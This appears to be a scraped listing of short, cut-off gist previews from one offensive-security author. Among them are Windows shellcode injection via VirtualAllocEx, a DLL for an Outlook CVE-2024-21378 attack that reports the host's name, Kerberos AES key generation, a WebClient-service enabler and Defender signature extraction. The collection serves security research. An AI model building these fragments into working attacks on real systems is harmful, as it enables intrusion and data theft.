mgeeky

#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "winmm.lib")

void Nothing(WORD wKey)
{
}

void PrintKey(WORD wKey)

mgeeky

#include <cstdio>
#include <windows.h>

VOID WINAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved)
{
    puts("[DynamicLibrary.dll]: TLS Callback");
}

#ifdef _WIN64
#pragma comment (linker, "/INCLUDE:_tls_used")

mgeeky

function Get-KerberosAESKey
{
    <#
    .SYNOPSIS
    Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The
    results have been verified against the test values in RFC3962, MS-KILE, and my own test lab.
    
    https://tools.ietf.org/html/rfc3962
    https://msdn.microsoft.com/library/cc233855.aspx

mgeeky

     1	                   AC_BR_BONANZA  Too many newlines in a row... spammy template
     2	                        ACCESSDB  Message would have been caught by accessdb
     3	              ACCT_PHISHING_MANY  Phishing for account information
     4	                  AC_DIV_BONANZA  Too many divs in a row... spammy template
     5	               AC_FROM_MANY_DOTS  Multiple periods in From user name
     6	           AC_HTML_NONSENSE_TAGS  Many consecutive multi-letter HTML tags, likely nonsense/spam
     7	                  AC_POST_EXTRAS  Suspicious URL
     8	        AC_SPAMMY_URI_PATTERNS10  link combos match highly spammy template
     9	        AC_SPAMMY_URI_PATTERNS11  link combos match highly spammy template
    10	        AC_SPAMMY_URI_PATTERNS12  link combos match highly spammy template

mgeeky

#include <windows.h>

int main() {
    HANDLE file = CreateFileA(".\\test.txt", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ENCRYPTED|FILE_FLAG_DELETE_ON_CLOSE, NULL);
    if (!file || file == INVALID_HANDLE_VALUE) {
        return GetLastError();
    }
    CloseHandle(file);
    return 0;
}

mgeeky

using System.Runtime.InteropServices;
using System;

/* 
 * Simple C# PoC to enable WebClient Service Programmatically
 * Based on the C++ version from @tirannido (James Forshaw)
 * Twitter: https://twitter.com/tiraniddo
 * URL: https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
 * 
 * Compile with:

mgeeky

fun injectShellcode(vararg shellcode: Int) {
	val length = shellcode.size
	val hProcess = (lms!! as WindowsProcess).handle
	
	val internalBlock = Kernel32.VirtualAllocEx(hProcess, 0, shellcode.size,
			WinNT.MEM_COMMIT, WinNT.PAGE_EXECUTE_READWRITE)
	
	val buffer = Memory(shellcode.size.toLong())
	for (i in 0..shellcode.lastIndex) buffer.setByte(i.toLong(), shellcode[i].toByte())
	

mgeeky

#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies 
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.

mgeeky

/**
 *    This DLL is designed for use in conjunction with the Ruler tool for
 *    security testing related to the CVE-2024-21378 vulnerability, 
 *    specifically targeting MS Outlook.
 * 
 *    It can be used with the following command line syntax:
 *      ruler [auth-params] form add-com [attack-params] --dll ./test.dll
 *    Ruler repository: https://github.com/NetSPI/ruler/tree/com-forms (com-forms branch).
 *
 *    After being loaded into MS Outlook, it sends the PC's hostname and

mgeeky

filter Expand-DefenderAVSignatureDB {
<#
.SYNOPSIS

Decompresses a Windows Defender AV signature database (.VDM file).

.DESCRIPTION

Expand-DefenderAVSignatureDB extracts a Windows Defender AV signature database (.VDM file). This function was developed by reversing mpengine.dll and with the help of Tavis Ormandy and his LoadLibrary project (https://github.com/taviso/loadlibrary). Note: Currently, "scrambled" databases are not supported although, I have yet to encounter a scrambled database. Thus far, all databases I've encountered are zlib-compressed.